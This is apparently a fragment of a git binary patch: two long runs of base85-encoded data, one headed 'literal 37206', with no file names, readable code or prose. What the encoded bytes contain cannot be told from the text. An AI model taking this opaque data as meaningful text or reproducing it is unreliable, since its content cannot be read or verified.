z_rL5-+^%w|mtpX~q(O)DP=E!%MH(=M0-U`sq9fdMrmMu(n>op8ZV7=!KY3n&e%G+n|n!3-~yoC%7Ndb9rBGm zuk!g_S`J;4o$TF~d)F=(gQcF*a&$<=LM{@ER^Cf1v5`V1~^Z?UusY?^ujnQ;Nl~jr;fSK3M>I8&Y4zHrG)1{zYM8 zfxe8Dj0yG>$)S0S-ye8~Yl`*7So0<%45AQhsT%7H&;$53XVAAgxG1mO1Xx=m8%8Ma z+QD)bz~`3*l30upI<3c)>$nF9|Gn+7g29KC2|i2+NH?^;?ZR`+!v|v_Nz65&SPD%_ zymA~~w@~I|Un+cTO0+;%lLz#xdT*4dZ2$}o`>PvDf1zJ_kAC`pEVtI#@k!v=3AuNb zGu}gnHq3G5tmRC?nLT*P9CudSxXAdvfn5fbSwn>wW%4ULb5+zvlkT&r| zw8KujdJh!k?(~`COZ6=s>+qa!(U1pXz@#!GB0exP$9VF?6x{uIl4W_M&Bx)7jqTp8 zuQ-|OE!VFGoS@}&OPcLkBeH~D6j|CpgrH6`mPhGHkp-YZwEY6WbyI$86;1!aIJlm} zcMz^jV=@}i&4K}{ZlmlV5q}%GZuLPF4m%1{x9H}Ykx!NmKh6F8uZm+{!FVUqat9~& z7p3f#Ow>UyzGdnQ6|T$!8DbtgAVe#4xKRT}Nc)`Vt}W=6+*k)1t*v`w z(ZTp+b9NI(X#rT*^`4gmgT4pT5m_{YY^%u!R6FUgoZq_80o&X&W@KTpo&NY;LR&JA z(smXz`0P74?et$w96vlBC=hkh5e1|d4VIt{@kjr@vxl0N`IOWI3s`9=&x0L>z45;T zzb5My2UaNBxnEhN{Qska4q{3IAWl$vK~Pr|TS0v{W22Fxx!pwA8@ z&N-wn566tT2&(|L15TJta#1}HdbcC;VyhGu@s^yv90@u}CARf%*xD6oR+JEVS=_0`I3IAx48899?+W)RxNRNVqB>5Fy zkrbSLfxn%UWrrpZ2wX>E#!(Znu2FLSvKCP$$524@2JY`^js)w1>qVw5yto+RCN2iO zUDRPQBGCC%WP*1#iy2E%xk31ekF4e=Mwf^gt5E+kmNM2><2)7Tf}`9Gq21#7F^cda z?Mbri82}b5&^Q{SWfK@}x1@ysVvvJ|z)H5fdl1qu9p;_sTr|>h;^AYd7W!EIXDH@d zi2FGF&gRY-vaiZmrnAlI9tF?2le7c19@2Mo7X1d2G%Vt(i|Z87vMMBP&10!Ipv^US z=;|L-1Byo7u9)ShNIM;LH?500*uC`Zp3L-ac|hbZ=8)6A3e9d?>gJvqOkL9W5; zi!_0W;2BG;m|+EL=&Vn4#**ttxZSt7m>@Yi)^XI+AsyUR4>z?)t` zuWou&RKRl}E6-`id~9rKsNl%!ql? zDfko9vTmfslHCJY!t=@W=wv*=`zV(p7!)P zeB_0l&rn5VCvLvU2Knu2WOWjaXTLD%AlWQz!M+bA>7;^gAJ(ae<=g}#_NSdTfu;9hE{t!av^48v4nFIKIOZ!aUIqKHp>qzDvOFC1+{rYF z)^k>>Pr-g+<7t8V6i2jPUfj<5h*l0}$8AQX9iLU zO!i+Wt`!#{x|a7I{b8GEdGj+y4#7>Nk*6e1@e>~Z8saklIdr#skBvewoi7wPE8qk~ zA!m+DT9G`zIw)utquMg<#CgYJ&MR-kjmihSs3k(M z5g25f;kfLDrYfSfgPg+>fzcr2f4B-#bWYX%3n~9(-kH>yb^yB zSj~F?3!B2wzBC>ak*S?~L&K+3rb@jZ!2b3feWCWDcMom2D}Z1BQ;y_*XlE}cA*vk&*jJGssxZC@6Y}!NU#*}Xzkc{NXlTYArVkPHZhsLIpp>O)Vs2uo`9G*RI%0HU z20w3f`_nxX07>By?bCk`Ox?y$B z_9@Z=>rD$k0R*Cy(QU2{{1=5&v@?a$F&&bH*JNUYTMo(HDl?z7*3XM`L7ZM>V(m>C(P_Zq< zlb)-q9)x+p8&;)*PrO8nRFG+ot(h>JPk8kT8L=N{f*j?DQ06(tcR0B?UxAaKC~s`g zbF}r7>;)Gju|Vj0#5*+bfr_!_R%)GWAxrOi!=5F=CaB->9fASlTiGZ;ZcDFuqpiY% z?*fHpHKrU)vYS(yBG%wnuXWx6sDi|NJeyY@@#t#>_B-v=!W3gq*P0j1pL3@Ky|}1! zRNrNb19NLQ;da=!AA(>08i}P{Uv=U{5tT`=7Omk==Cg~(N>xE6Kj9TDXCKK=WXDX0 z^*xXK@w}StlrZNlUF)=&WdLgX(lLve7!)bTFQ&l8(y?^qJ_HPmZg#tTL$D*b{VS~V zW6*!tYvue4x}=jqy1^NNupHmNT(IY8eA{? z7wQ{0!wGHEIM6hGng=K@SsrZy!zyqqFgAzWcSS(dKQGqY;mld1Q2!s3BXa{->yCDzw>`*%S^o zWJ4q&%rj8if-FeD!ye`4oC!pQ<@|xQGjQLHg0SofU#?TCqyFwARm|g$VSFP1Obv=` zEpD)w*t`yffqxa^xwZ37rHt!{JssKOJc_c@E@(cyVvatzpW*3AHT&Zew8kZ4W2qqd z(|>5NqX!xm+NJ8596(1VsK9A@!07EuHRUP4I0}7KZO>G*w z+?77f?z8qvCjTda_0}5Dyp@IN=(6ID!?Q>x>J7hP(%!o4)2Z&{nn%U(<`VO}K*>xr zoS5S>pJz|-rHAzZkz#&JKyCs>pS}vDI=4p65&xulL8~gZQxa*Grt}8q?76r(VC|3H z)rmk=(hDfMpeUohBE)#PCbU7!S(hBLM8e+juoKtA4vE3QdUrH4$NacZ(9@AEb{~%p z$AmouGd%T4ZX<#T7!p+Ag%>uW%slYSOus)z9yW_YuhOd@Q)l%-1M<4N%_96eV^V;#Sr-~1ZDGelQTAnO%9+4QMep1dRgV)*4?JS6UbA!9S>I*sb_WbhiqR@ z&pB9keR(Q%>b@(a;vyh^~VTR zg)}&quy8%&|CL!_9~iecmjbWPy;!0lvH9yZ9Bi;$NNs;(>?QH`X!oc#8`9Im+#|E$Zb6-x z0u{Pt8ss)qN|M=!r2){Y0f{KGW-IyeU|G%Vw8JojFR%&{-m=(v`Slosc;V2$(Ee!E z_9vp{4PggqxaV46Kh@5XzzDWP6TMq+#x$Vfj7+GU`kk-u@)4Gn_+Oyu^Bx#O!qD!R zVT`08=$sR+U_Fu#kePb8s|?ULokJP0}KVXP8sgsLfo7cgQg zjLc9$#mp2OM&Dj`e694R5V{~#CR|9f6ssB)0&7Hlu)_%&;9v>lu9^7eu< z>1ZW|7E&y#BfGXOuq!826*vKpb$i6dmT(R(8w)ZWrqN*wBZ)aqh+8R`1lF)iY0#H% znkC?YF;#8v8&tad({19FVbZgVf|1!cv;I$_4IGz}Bd)2taxa`WkimYLN(`WHujoqQ znCl?Yzw-U9=fMtq`aAiD!M|3cyNJbQMUFW@9}IgMm>(Y@=C5Nbm=US|cHYagi*v@K zaF6DP3c5Qa9Kln6k0+Kf!FP6fkePNH&us2}Y_4Az zf}7d18Mq=+-6vHF$DZx8llP`5YCxg%6jnW~tDtSe@(B)PZs(u&pkkFuRqW<+tFTRh z9QqO#Qz2JW5^1MKPK+)2kNrBUH)SuAj)&($-0QY7TS_a=#Db0l6Z3U@{fWYR|N{bp`HQ}{~ z{-23F$IdkjJn;po?zvetZByas>^oVNOfVQPaDlE%)^O?$8*Nd)#ZV1308AXx2z9QF zJ3f(GEU4E!=!FU89@AWF^d4ignG>1_D_#>} zU=`YhJQ4&E;&v4jg0aHom5>g@oI%88 zs@S@^-=!q01$kp+xikVJ7$Xu|RjHKsE?AhBbBv`K2i}UmLa$WCZYiQ)d&6c`O%pN& z)4SgS4FVJpv1$9>1n+N4`XDOIAEEOnqXlf+W%r9r62OU(vaXPtNf_d^9HbF(amCH_ zZ*$w!x#jCj+j5uDB?AFbdp||%-)aCabo}D5^xh#$E^PH!5~zPb#j^-@snyrYv@B)v}v}0Ou1NEaXxDVY}r6TCl%EpO=Dd4ar$qhY|%n5G~YBo zNUvfBYL+!@5itec|BJszK28iq-Bm(t!#0~x#9+11(kv1=jJ?KR5-<|0vmyRQg^wMwdqyPdY}F z|2s*{Z19*+wbN^thNPf15iT%M;KWUMuhS`EBsd@e`G3RiG7ElmgH zk14aIc7}RP27)$#M$0zm)vR)8^%;)&fdU8;*|sfAXS;*MQuzY^)j82~hk#~22sS1d z7ZKjq4ePJD>pXO9f?UK`(OG;nB?~z89 zxQ>2z4D9n_yKMlGv^J&M{M05~u%`Tv6A@UecYbUqO@Zz^tcWneWJ~Cck|lQ<1GocR zuQah(_Y?jOsLvKkZ!U)ONJEt{m7qzg)UHd&|6~z*v%khM3NA#JUq*MjT%-625T{f| zBZj649i;l}Qa}K|^=&fp8xsyLUbIVC?Yv%V0U8nI?pT#o)Xh#2yO@NW_-L$K);Wce zf8xij<@6s4o2?n!y7)?O$*-NbS}!@F&(eL%*TSUnHJhe8{y|<>7oA-#7`>2A)K2{j z(s);HS^*uwwtixI9{}8$gk5^F5O*CVPSU1Pel>v(!YsmXo!Sb6q-x-tQtPT~F})Zz z()Y)juT;zvLg)lK>M?}?iw3AhTS;szw^I;Wf-sTKXoJ2L z>F5X?X}=}oeF4x~{Bm1JNji~z3d_c^qFRH|t@2vB5ZRPUujE21 z532`55EVX}j-4n^QsxwetGOtzM%0Lx|NUpxF!=Km_uKD2a1?GLp8BuR62>!A*knBc znyX_*U;W?^53ptYcPDtCUlpjaS;|;O1EF@SgW=;!nbY~i`8V=Z!pc0GX}LKxZL|&{~5^$Q*>4;asP-P3=1@ub7Kq7VkKB7fn@o?l?3SF&+byY9@w%c`>T(F;8<`Hup}`uWL#|Gc`dsG0il021J%T>=`j#`7o0~2wd876ZS$6PO423?jm>{2msSW+``Mx{=8M+H`UY%wu***mUSD+>b3=MIQ2~VoBI&E$WQ&n1<)82y zk4P2|#gMEDA}5=dmDicliM`p{>Qd|gpu2Q9pug>z!n29G-!V8Lnjpgk+TlJh-d|Xn zWWyZ+=oKat7!(^L+0K;gr}e3WUZ$Bfj;&sv{@56Fc1u8aCLBJKJO2bUM6hEWD9bQy zZ07kZcBvg1t6x!=(t~SHjS21{EZB>yYLHYwg<%iYOEZMqE|TRMY6%!^NPe3w^!_Vi zb=6)8r-{?CAsXgf9e9u5N=~kV!;}28rkcl%wc3j_>4^Q;rbGz`6!d(+dNR(d@ph_? zvzXS%^2%na#OsEFS#UX~ zn_{V(mz;myBg@CHNOQCDtCAU1QINKLC*sY|*z>2NwJxY2R+QJOqt6V8t8=)IkxYs9 zgNBMTsPD~v(D1ORMn$4(pVl|yCPU51nv$?}A#u>0lXPIc5PiTsOscGqbG9?7UpQXH z9=jYPw>>GTE2xj%IlBZ=(yh?ciaAo57|F*(4I3KClE~a0CPU5j5DH&~ALk}@P?7Ua znr>T)a-T=wfCKl`VaB63bgso;-a5K*ap{FsDtlEYI>?|pyy7W#O@zaN*A#S;; zZbq@fiH@`>luFI4g_2Vr^c(5&qFCBnG3xvMupqk#svNBDo=3B3g5u-ak>kADfOSYJ zFM^97Vz&Ue{dC%9uxl$1w(*BWsPH&SUa zxU0H|K;1#)mKZVes&Rok4W>YhRfnpSPh#84xh8~ylx-p=)Q?Jp#SOsV(RIbkwOk8< zeBpyh>f;I8Gb|nGh+m(ybm!uqkj3w8hh)DCFOu)qvt@}Q-b*9eC@-{FLAVr)L#0ywX#?*-Ue?llC#ZMtB570-nsLiGAD!@)}$` zfSKgLn6Of$8NBG+(+&UjssqUQEVh8tONTjeh!g>BflG9@czjpmXtLwE+eSULW(@mD zppXfry~0<8@3=@M5JU+PLA1aXB#*9^8Nxt|tG;@OF*I5B`v))PHe8{#6yLST2|AAN zjTAAvypmXJXh!^?8&-hD(l6~+x(A3grOCuO+Je+@%dPsL&6Wnh2E_)-m`(8QL5N{w zmX*So_h}88D)M=xYs8n7@373xUabrWiZ~33lbF%P;jE`z1n&&X?k2SLy?}<3#24?2 zWXVs4xUDrNyr!B})B31s90=ZRoRWAbJ~>p8x7fqN=MKYncu_bmRu*_FpP3jJi7sS)#Sqq092|_c8Am8Q^U$fQ^rp{)|f5ZTi8S`9D?H3W%r;n?hr#^}QO)|0aAVE>wo^a!`3 z_+OF91Su$iFU1`^os}21L4wOx3-V4Jn*z6v(o~V{W@KR`(Rxcz0v(x;Hj5zB=9l0= zGAWRTGyeeCk`X5&(3jjgTq8D(9@90%WT%9EjH4fC2?5_|e;UEY02pXopk7PeMb~ju zy~UP$O4{f-ofEI(B8Vgr3bN5IUKCxdL0(V+*d{XNiv^)%fCqTq(Q=s6_($!@c&V$2 zx(yz~B$l!vB696$gki1k6>h+hrAnWHZ6hiea25FQdvRH3X$WwEqUu&er9hG4U&9-k zF*66Xeu(6_D3Es|iV}$RrTy3#;7HA=HVd|TE;;}7Ha;RMu%~w{e6%l&nz%=mhnD_+ zF^Xp8qoqd^^@5VU{&f^`*1JF`(XBMem2nbSivpGYKYX<^l?Rw{;VA5Z7h}#L(}*xo z6v{PpAJz(u=nK4>-3kcQMp&MgH!iC(s2J;8um>9J$9M5Wv>yRIR_?q;ko!L>My`A0 zfTWgUOET(RkxCNgSOu10bQ|cX*Vd*IZ%6h1qlr76myvD@+Ihk0Z6j0;QrY2U5J}h8 z{1SbBT^zy^3ZbTAe3t8`dNvjd(DFD2ud}yiKy(&;Mdf$j3>|u*>N~LVO4-fsR@qHS zH^$=9?r?H0^=MLJ6P1??e2l1c71>cV4Q$^y{a_l-gIicag;>oY6Kds9?rU81DmK=r z9Wk<2{D_VQVnT)G(x-dY9bS*D5fKBpCH#ey>LRl#f|)=GqY*eHLpsK^z*G*(3CP+B z$}Q~KL1*~8Tsu@?jSpY(DxcT=%zpfTXHoX(*W1lOvDy&NZS!yME;@A^fv?K<=_}htU^@(67cCir_#%x|>E|;m7(?PBu9H|kG0Yc@CBId| zzx~*Y8a=a4DRH%WfDh--%Q9NgD(6&)Wp3?Xnj!|aAC*uhc?6f=)1po$Q{TGI}eDP;^%#c-zB&t`r(4j`in^TiB zNz!U&YI%7{^0}f|kIcpi7a{?A_ygh%V-XDhwxmR)S^0<_t3!Fn@*j2bE|oy)^C8D1 zd`QK7m^Kk8IV6;YoB7TJ%ZptyY(@~n>xtc);rw1XV&!DWU;C@|0Gq*LN{Nv`N=2E- z%-q=xOzF-Xc=Kr;MXcntHmiUf95(H$sHh8n!PoO@N2@pX1wm(p3sAkE9R%z$G+)=V zCKHc>t*=AesIj7)=Hjr)*IH58a3}4+l`+6bOG0Td_C8m6dsHKWogd!x;&HF%Fgw4O z>uTODA!B;kNJ{f%RDq}htdLSdw!1WncwE2KviKrALcXdLBbotfx>|F9XKt{?bD792 z7~71>UKbbHzkYiroP_kaX2;5j2~M4<`Rzi`18Ywd_h8<$Nhpl0%$&tfn>0;@l~YXk zi`UTaC8m*c$HAETR`vwjzA3;Y&ILV0U$`0C=FP3wq-eZK!VbC9;*9q)CQ7{u@GGaT z?eFsirMncp%BQq2als=pGV1l@iNYQki@z3+@#6=xl72!8o$M;2mTZgYRs~x zqYmRb{w=FuMypq(Zr?E9SPVKwQ|(^5cCjexv1@)pwKSVC??~rdo_hvltZ1b}O*Gdu zBTge)9(u-T{BKc5(V_AAM%7OGLHSlXZyPawByycC=SJ^GrgauctRvJz^b{WYK^{i# z6mF}x+$KvGi_v8+aNVI?+5C`A9HnX=oAyMhB(@7oExYMH%&DjP*stxtAq-E`-O`#pCWp%~8(HFC@ zXIOe9OwOk)=G*>}bKO3e-r4ZLCbs`4o=-Y;+GOg)wD-l?@v<;1OuQX@c0?Ee literal 37206 zcmV(nK=Qvj`H9IDPdhr#R};SZ)8Sp1VGY$FwrXyu?agfnC{3L&C-h=Eb$dn4s&)tm z5g>rxW?d!(3gwv%{QeiP9^3CX1A&&L*RP`qh*dUtpu$iAVAS+?AGF>RC>UWz0EUJF zjU1!05P@il9)N=!i@lD$y@I__P>0fwwFJZ1lbl?zF$mtD;yPVr~wx1ZbWWa$0 zRqb#2r-$1W+PAg>kp$O-*sQLtA61LJ15yKJIL?pU6aQJeZMY6KttOAbL1)0ShuDf# zd&4Zvhn`7Pqo|&hrcOm}8>?z{)N^FvDbVXWiRl0fqNou-LbTBaucXQzFcu2^vAO9fKXZPTfU4&Ypmx&;XO$n7ziWzS7<~0MgkhCseUfMu0PQDK@6?#gJ7@{`%@e1pqZ%F48dj=Lw5`X=k*sU8?RHb z{*1H1mTA+NDHk*!>|q93z^pxh%68X~>ZCcJm|h6hod8>c67s0^W>0C2q%rDc5x&r0 zbKh{C;DQPqZ(}P8DlAq^R-p^3ppMMO8v(^j=Iulw*r- z1TV0E6^ks(X0%=~wR$zt8Nj(uX)-BVDgoFIIwg)M=?0nM@B6ufu~9w zz5a<%kTZoTL~pOHMeKEW#g@!sXXi*cClhK6w{#!=g0?iQ)q5i`6TJoAZ&a<01eePnxa9Eh7}lc_8gaKrNcwe)b&VIAKnWaq|=DzV9bY~G)1k69;S zUh{3Zcb?U$XVd@5R!!xmTh`r(=_L5#^R)0SnE5e=Y6CVw4iPxjj-q7&wLEUvi!gyd z>nM#1FAdr9=IO76?Z_z;_o$|mzxgPCopaRp0w&r)^Y(^0mwSAD`utVlnMI@>6d9f9 zmQguhPD!fPc>H-T7u?bMy6er9I#Wcj0U*K@=8V9abQjL*LDrxdnw#E2FqKlzi!OgN za#t17OnAs0vv$G&D%;Ukd%=zEJD>DChxt5qD!3Yu>Lk%L+}^keFFJ24)v_z5Ru)?gqx;kuoDZB6BX8|DLr!usO*9 z*^f;qZGAa}L#W0(&(r5}XjPLair3++bl={yiIzjkZhy*htrZZzPzM?W>2$q`QZe1g z8M|VXom46zLl&jmaMuc4;t1p@ zW%EXsO=@`s)*&z*NyeiK8mGyn`g)A&D^|GzgG7has9)Uy#dC-1;rldI<_gK5my(XT5JWx>i#cvap)TKBZEGWsZe zf%OY|xv{s!7ZyyXe4wIhZDJ=28@JAEaiN4mKAz3t@-*jp;yq)`P`-XItnh21aTY?H zOcj$i`w}_~;=0-!W4Zec!oG3`&yW4>#~MWd{S~Ku4{u;+$WHo{3BYQz1F)_h9Lt`k z?bvMzn=$_?7xi}Buo1yTlr&S<&hp(q%?)l2+E;Mo^uwo(eHrO9@JRr#$OJffQ6^_t z1gq2 z*ktb>0RwqdHsxGH7YoBiX zbZ+>=hWK^VXRD0b$P1FSIr4N;UMjM!7FP}C4fte2#b`S{=vS$6kT|aB<-k%beGqq( ze6*VfVCQ7GTMTZP}$k3_9 zg7?|45y`k?NyoAnq@56`E&9o-vfRzA+|Qto>>2=XgnnIA?y(ykC6;+EV-CEKQ@9l& zQ=Zqk?dS-dK|30ItwsTCeDp$7Exl`L-q1{jf%r#ldHuDJ8yCB=khIKtWuq3$rrjBMVBIQj*Dd^hK8)*aups*Z-@hA9?J7DCh0E8a3 zpcN>3jApkSl~h|OCAjqXpup1(RmrsS-`eTDE2CEIWXEno-$i8+SUSl`_LBoC7Dm-`EVQ2xJKL*Vx9#y6Hv<qJbU( z^n!&ZAip)KhiAOqRfE~(ZNdag&2zYsj7H51Vv87b9=a4x(Pvr{=9JUOa;=!SQ2ZdX zmI{~11gVKxE;@BK)Q7_}CHM~8X&`2^-t2wX(6^BFF{qMP6j4LbUm0_>19&kVa9qP0QRvez z$6V$rhg`p+v-ANEj)TFqGTpKp<~0R%3KM6rzBm23&)UH~UMc>#5m{Oujs7Imqb4s} zw`*nAA%LNX`!neR+(9GkVJ$8W6Z#=e$#l+v+&FPzI;c>luxEsRPsq`BipiM(dMwJ<6WcYTy&90j9=nU>2n8y)mcZbt?@xa7Kt>o!HO)8 z|FnqxYMi6>eoL`dBi4*{21(}Y1eRIrNz8*&&3;DB(E&jIOf(zUVGb>OIkE+=X69Oe z8a8sflOIZ_5&i78b5l}|^KtmxI@;dC#q{gCA;svHUveEOUDpIm$4!N$|1ZqA*$?G2 z4~rfgR;`q#6ZyU16ERd{{3fe=DYvrc`SIRyd=v5KFs&uF+4_4M;S7MM9?N`d(zw9P zZXdq=?;Tg+j9EQMOQ)?loJQ|Hl>CKF>z=^HEE;UoWoGQA_nDELOuZ8eZ?`TTqfqi? zMvk=3Cb`u!KLPHE(s6H|V0^-Nn%`@aEt}5#hTOV{1Mmd&uOQ$%!n!FvbGvTP0|osK zw!NaGxL@BK%}@HDA81YTKtLBrK4JFHjU^E1s7`nQZ@jzwi{UUeFJNGC5JVE_Iu2Pk z`)rKA8cEP%qqQi;_6ptkoKSXM<{+i_V}8rcf;Z_3sqT+pa2L<{zJQTiQg&+`b zNgwUJ_?6&J{DDLLTxPs(St0S`$HIr`ghmjYYL&el?Iph2i04-XjHt88r2h~hOFSm9 zK;|Q7KQAF@)Mi*^UGq>!cV74)5TRi@ocM+& zd2u`k!3zyQb|eJ{cq;WV`(W`R(k0#}-DgMgW54^80fci4s-qJ=IacH~pUdv=voD7g zB8pzPTL7-&Ea2|%%;&2tpd<8PBo*vD6CGbskDFo4ljyVjaj9f_Y6qNuP;D#9y_R4e zWVa$^*oXxMQ+t47V?d;L7JM=VEJIG#d%h*`MdTN-dpTnm@l2w!rBWH@*@Y=BD{7&UZ$@2;D{dC|CiqM{CnUw=Md#@ zql>xVG4XODK*0<&wCew{U$R`UF^0{W@yo_YD!Mr=vg-Wz?Gwqqoo;?=U#uYf1%RrA zYUDECd;IKIO#Z593aC`{Q57*cg;AAb>JuC5WsNT6`wo#mfsbob*gzzNza;#Anmsm9 z5CoBw>wg{k!UHB2KKP~t#=2GAzQ9JT-C;?y9A$nw;@0O9O2Z?&D5MIcIR)ZDw)}Zw zu$-W!X{5M+ax6!K$7bw&Y~loKEUE=M%!xB&=lgjLRfk%-3X+mnZpdfGy!TnyBe{3*NGK82vV_`S_ zr6WGxPAkrRLo!Qj9U+apeW2AKDFNw!&9Ey2j4O%`0E^p%Q0`j@Pe1(=hd@dPK3xp? z^?y@ri*cLI6T=wA>FUrw_=ow^XzY=XwJ{V8!O9y_!5q-^V21CAk}0@Rk5I0Rq-yAv zzq|PJ-5*zTB>WOBWRIBupk~;<1zcm9bwEDyLrqX&fPu?mJ#3EozNq30);15Uo+$;x z!b>gxY1h*%-Y#45mwm5eCxZR!c2gvv%S`nP>KZR@byw_GStLdo=NU9_U)JlN>Lbfy zYhqBo)_#3V7naOvwCH7)R_&beqLcxAQg2 zN+i-nI~+7{yo{Hjtg z`DWju5C_gP3W>?qE@Y$@#o0zms3xfh%?D7lPlP3R&rGz|k!yjhf0B4fSzmW4HBpYo z#sBRvytNQ!8IZY#6nI(dx4n0U=R7-R&$aQ^{47s1GdaPxuAmbGCZ9tAp-_B5uzUKH z_wyo#WYr>Qe8Q27EoPT40~pJ*^d$#fsAC=4L#P+zN4xr5UN95){y0TTXyw9*Ya#+R zOCmMtJDH2x5s*|JQFKMuI~7rn`5uiP8^{)#RVMYB&j}=_qy)gs#uC;hWC!M8h1yL* z|Gzf!Ab__3K94_Yj|?i!gTLW@BD89tdt)jWXm}%Y3NwKNpddQB?Rp!JrCn8x!4-su zU{y|fHhY)YnRDC=He1A4K|ihel!RaDKLa$2CumR4jv3)q9n$`L^^Sxs1$*onAWGOL?_;oSVpnMSPIwvnqEsq_!Uld2<0#=8Hj5D@isXM|b(TP=a7&0o zgJ~k4OPdc(vIcQFN%#FYrBbGE`yyzOVirD7MpP!Y>)68?_R@TfNv0)g8!H4GnR_Jp zZJ^N#-zACP6n1eNl;m4LE#E@B!(m)1AR$V74?&7l^b37)CRwN98SIMf(4AmyXPdYL z_pu{55Fos``Y+#^M^dOAUOguZTM=tw)t&AcvfvxjBR5?zI3pa;xOX3~2J3{jSB7N_ zCi~`;?b8yra8`#`i_-|tKAmz_yfKb7*LGc7GxV?)^y zOVZ3!f0t9vJIwh0>mDt0ZrPRu5rQV~KE7=VZKJOZup&m*aRsVrK;4V0ExEReT&t%K zzz?BDtRZ`f5q~rQh5LFW-+x6$ zm*1|k>JVKUDE#!gV0$e!UuZL`4V}`#{QC2>;bfUZ=oy}8B+p@a0jB1L zgDy-#>iAA>!uG2(El8R`s*e{FS9dbyQ7KIztTA z8W+iSneB%bn?rEk&!h?MM>sD;#02E4s>{hfNVWu0Hl0FL)mh3{uxKPz>WoJiRhuG~20zZp7CNY3U@s)eA_wmdR_Wp8{A*0h-gGfv4#CLt z$L>QwQG@RlFv;Pl6EkkmScpg3XO;LFm(=7amRn7Y;RdsDeWSc0^y)q^@qp?gVqR z)b8pQ7ndU%H5lno^6N0oS2_5ku0JE9mUuM z4@2f6;#a|R=>=J;(2PhnB;|1!&PyIGo4=qRd>w|zb4t~Y>q=xCAY7U89E-yoo$`8r zXf_mVB$KBbwP@n)5EjhQ{`*0TH@{-)vtS~TqP!@hA+vNTG z(L&=_&lv<|fK0@X+GSLDyP-`3pb)O%bvqhYqA@zVLL4(Spf2d^AU45Dc&DTrbgM4$ z&+w_|ODqN9!i3hxYwL{N%y085I7ZvkGfTIJ6`u3P`%=q?wnFb*l1L=&Nb>5M#uj6f zMJmr^33FpHvo=(>IJ)T>m`%bV>o_R|so=t-V zN7iZlv?m9FLi{8*HYZNg0TEAi!_5ka`XW!QWX!a-TTS5I7u+U?-4ii^XNV%{B{OyK zDz*!QOP!^+$_`;#*bZ@nC>ev7|H;3GXRL-eK>9sj>L2c~S~ot}YULdvq=2|)1}Qcf zW_u(<^9@W{qbCmK0UQ`Q7vk@`97z4Bz}=V)Xv{*bhi;QWzh?BWN1sV4Y{-T1Gr%Ue z3qj47JfjS#r^fmRq!uC8qm29&!P*9yNJ|egtZ$R(!w?Kf)$=+jteRT+Hl4x)^9q+i ztOmLIz+8jxFMt7G)5H-?Yb>4Iyy;GdC*WDxIQAASVi2$Rc{g@2w;jdR{jtx+R16uVo98TPVI>uo2oRaHICel9Rbfw%9A@==CcwOIJHUzI=O304vw zmZ93&&wst`mwD{|wiTV-^A$frNc3Ql!~mQao1Z4X5q7kGd_uT-|G#$TZ`pJ{n?l^? z+<;twy$o-1y({BG1OtOJr-)}XaRTGh=E8(jvR^>oq6=p+N)VwMN_n3C!>b6n2EaFjg1(TP%UvLfQK$mMdbXxn-D%SBg>ya(NQ)j zRONp*@GEi!)cl`7sr9ueQ%E^uqv2D;gGKf-v}H(7d0TQ&(;890wBS6KwfB~XTGR8= z=iY@eXOGl{J`8`OM%`xY#ZY!Y5&1sX)}P~f@}qWHviZA{RRUmTkE_iP($)o0bfv0I zRcCr!O9((wt@F1Ud=Cpt4K3mXLqlVrZvv83gy+u!sW{rV2w)-_K-B0IamP?8Sl~H3+HAg~jMr z2ZOSk-J>LX>V0BaGa=XW|LI3cEDIaD!!0-Ost1|m{e97x4u*(N@M`GvCHQQnFOO5c+Fw|f)gH3@LwRuMF0;RxhYC}BWl5lGhKR}(8Ov+&QStH>P95{P0D%Tu$Q!tr6 zJPN3h3N)n{;=~HbWcmQ~>Sil>P+*dz68P9ZcQV zZ@eZDoj>mJwi#^dc0%?yh+~h%Rb3={;7Q=mPzUFHA-J&K zf=AVV%E#G!P}7(?_m7&l;*U)04$38I^J6 z2N2XlCKXUA$9!KEk$nN?+%9EHiVo|2AEv^y_v@for+F{_g-xsg@iH|096W}R+|zU4 zo?zY-MZMY4ej!Hi3?jC$(yLM?sFKt>N@Dp1FaT%A8%SBIgXsFrPYh!7QR0fzq0^ev zvltV2R@FU5{;LScLq5-Ls&xtY(nt0!-<<+3fbJ8BUx`7B)-DV+1I<#+|oo zUp8Kf3Lbkh;>+68UIC5rg%nsOY6!C)Dm-<27i*!Hs+42c4}a$b8`c~9V0 z-8CE4Ae-5WZNFv(D`5NtK1u6-I=)vneAl47Xm>;j0U>kMpJd5%Y**Bd#zfSKMTVgL zYza{kzl+-}DJ0AA8es=fxSnQ_)s*Q9k)2bna)DiU9k!$FKbPTP{VnAHU4m4WJ!&~& z`(mYdPAkiTRizs1*ie6HZ~RVY+C1kc=BazvNCwP4sE5M*`dgC|jU8QTDI=q@%U1F1fR0RQTA4!iP0=mYawICA>O8 z)NU@2=MMwYjI)vl8|C43cu43II+}Xrq%e#+2#8^bg)$YUV)Q=9p)i^l>kna+Za@CDf1eJh8PIt2{TcUFTWV0MXOXyyZ6 z-80?^3zT(|*fdSZQcaHb1nk*gc+H^t@8R+Q9`dKRhr0(rEgq~Vwzr;O8K@m}pPT%L zGjQv6ibWbGiv3*LwFn5Nm+Q~%jmv`pLc|2{70M)@j2Y%l*D(4y(M0Tu_|NKm@&iEqJ!jjlk<^r@9r=TdL83+w~$yg zJBby^d0STzhQ{q8wJcxsS-|jm^GX$Ll0g&@uMnp3qtT)>-CL~+sC%!5NN71%o{^kJOH$zbILY zH3dfnO7B}^xfVEcul+H z*LB{77#tf$J)q{hnbY?PwUs%%c#H`3kWL!ozJhB>a8gvaYHE^|~asTJP= z;VK=&V(A8-A~)Z`HvGYSrP*{<1BN z%9PRj6W&6jAyMGHf;OB@w(G_%C=8IkB8)x1Bs|F3moopqR>v>sR6HtjUsr7(@(h`N zeBWVnpwtvU?}$MBeW_rYgZ_H%ZwPer zsgLB7jFe$}TKych6cyVDB&Qcda@xQ5>{hg+mpkDS(Ge3$^`HGV-)SvCwt zCnht#Jq(A+@2M0fyqIv43uW-5rHJy_UE`JEaui>6`KOLs$4Kia)TA2fIpK8l6KJD? zXN)bm2GDVN%F}D;5(aodiw_9)BgZt0R2cIeU*ivCTTzfnb&^ces6jjD_)H)T)Qdyt zmr-`9H8{yk6rVs|Z^fSpQVMpP5E>aak$oY(9mvd~(+g0Xyg0EE6_+yx)Se3MtJ z@0FxK4|ez~iw>ZHY;A#~CURS0)@%(GS6yNmB8CiUX(vuulQoU9VfkIMzF|ve%OJM) z6#L$yAEteyD1-@a=?{;jXn;~3I>yIG9cs1{C$>HTD3Z{62wqLy8&x83X4$bz&$61lr@Eg`eP)d1L~tR+Wu3K9HK{4eB9|M(E@g(v(2kKf%vuu3N}T 